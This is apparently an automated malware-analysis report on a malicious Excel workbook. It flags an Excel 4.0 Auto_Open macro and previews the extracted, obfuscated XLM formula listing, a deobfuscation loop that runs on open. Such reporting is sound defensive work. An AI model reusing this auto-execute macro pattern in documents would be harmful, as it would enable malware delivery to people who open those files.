Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a9735eb6cd168d7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:04 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 03e5cbff90704c0c7a733c6a4e9005ee SHA-1: 71c729ca7438b404d6cf612edc1cca91c1569555 SHA-256: 6a9735eb6cd168d7236251a80e18edf0d7535ed163d1084cbe1f3b7db33ceafc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6738 bytes
SHA-256: 6bbd349558859c9038847baaa116ef1d8f8c7ee485e3c0bcb597a1fd212e8c1a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EHgXQCIE
' 0018     24 LABEL : Cell Value, String Constant - AOWgleHQu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E191 
' 0018     20 LABEL : Cell Value, String Constant - bKJhj len=0 
' 0018     22 LABEL : Cell Value, String Constant - CqggYIV len=0 
' 0018     21 LABEL : Cell Value, String Constant - dCluvo len=0 
' 0018     20 LABEL : Cell Value, String Constant - iNMCx len=0 
' 0018     23 LABEL : Cell Value, String Constant - jlSurJNi len=0 
' 0018     27 LABEL : Cell Value, String Constant - kOpQuzwTpwVp len=0 
' 0018     26 LABEL : Cell Value, String Constant - mbAubXacqCw len=0 
' 0018     21 LABEL : Cell Value, String Constant - onVKJL len=0 
' 0018     24 LABEL : Cell Value, String Constant - PWWLjsMyw len=0 
' 0018     20 LABEL : Cell Value, String Constant - QRzAM len=0 
' 0018     23 LABEL : Cell Value, String Constant - rTFLHkUs len=0 
' 0018     26 LABEL : Cell Value, String Constant - rXqAIzWSqHE len=0 
' 0018     26 LABEL : Cell Value, String Constant - UgOnWKmLssE len=0 
' 0018     22 LABEL : Cell Value, String Constant - UgWkJEI len=0 
' 0018     22 LABEL : Cell Value, String Constant - xZaCnAk len=0 
' 0018     27 LABEL : Cell Value, String Constant - xZzEXGwiWEYS len=0 
' 0018     24 LABEL : Cell Value, String Constant - yxgaLDPHc len=0 
' 0018     20 LABEL : Cell Value, String Constant - zpESo len=0 
' 0018     23 LABEL : Cell Value, String Constant - zpQKJLPC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EHgXQCIE,P92,"",295.00000000000000000000
'  EHgXQCIE,E93,"SET.NAME("mbAubXacqCw",0+VALUE("0"))",""
'  EHgXQCIE,P93,"",-937.00000000000000000000
'  EHgXQCIE,P94,"",-827.00000000000000000000
'  EHgXQCIE,P95,"",424.00000000000000000000
'  EHgXQCIE,P96,"",62.00000000000000000000
'  EHgXQCIE,P97,"",392.00000000000000000000
'  EHgXQCIE,E98,"SET.NAME("yxgaLDPHc",mbAubXacqCw)",""
'  EHgXQCIE,E101,"SET.NAME("CqggYIV",mbAubXacqCw)",""
'  EHgXQCIE,E103,"SET.NAME("UgWkJEI",COUNTA(zpQKJLPC))",""
'  EHgXQCIE,E108,"SET.NAME("kOpQuzwTpwVp",COUNTA(jlSurJNi))",""
'  EHgXQCIE,E112,[],""
'  EHgXQCIE,E115,"SET.NAME("rXqAIzWSqHE","")",""
'  EHgXQCIE,E118,"yxgaLDPHc",""
'  EHgXQCIE,E121,"SET.NAME("AOWgleHQu",HLOOKUP("*",zpQKJLPC,yxgaLDPHc,FALSE))",""
'  EHgXQCIE,E123,"zpESo",""
'  EHgXQCIE,E127,"SET.NAME("onVKJL",mbAubXacqCw)",""
'  EHgXQCIE,E132,[],""
'  EHgXQCIE,E134,"onVKJL",""
'  EHgXQCIE,E139,"xZaCnAk",""
'  EHgXQCIE,E144,"PWWLjsMyw",""
'  EHgXQCIE,E149,"iNMCx",""
'  EHgXQCIE,E154,"SET.NAME("bKJhj",VALUE(HLOOKUP("*",jlSurJNi,iNMCx,FALSE)))",""
'  EHgXQCIE,E156,"xZzEXGwiWEYS",""
'  EHgXQCIE,E159,"rXqAIzWSqHE",""
'  EHgXQCIE,E164,"CqggYIV",""
'  EHgXQCIE,E169,NEXT(),""
'  EHgXQCIE,E173,"rTFLHkUs",""
'  EHgXQCIE,E176,[],""
'  EHgXQCIE,E181,"UgOnWKmLssE",""
'  EHgXQCIE,E186,NEXT(),""
'  EHgXQCIE,E188,RETURN(),""
'  EHgXQCIE,E210,"SET.NAME("QRzAM",E93)",""
'  EHgXQCIE,E212,"zpQKJLPC",""
'  EHgXQCIE,E216,"SET.NAME("jlSurJNi",R83C14)",""
'  EHgXQCIE,E221,"SET.NAME("UgOnWKmLssE",228)",""
'  EHgXQCIE,E223,"SET.NAME("dCluvo",5)",""
'  EHgXQCIE,E227,QRzAM(),""
'  EHgXQCIE,E228,HALT(),""

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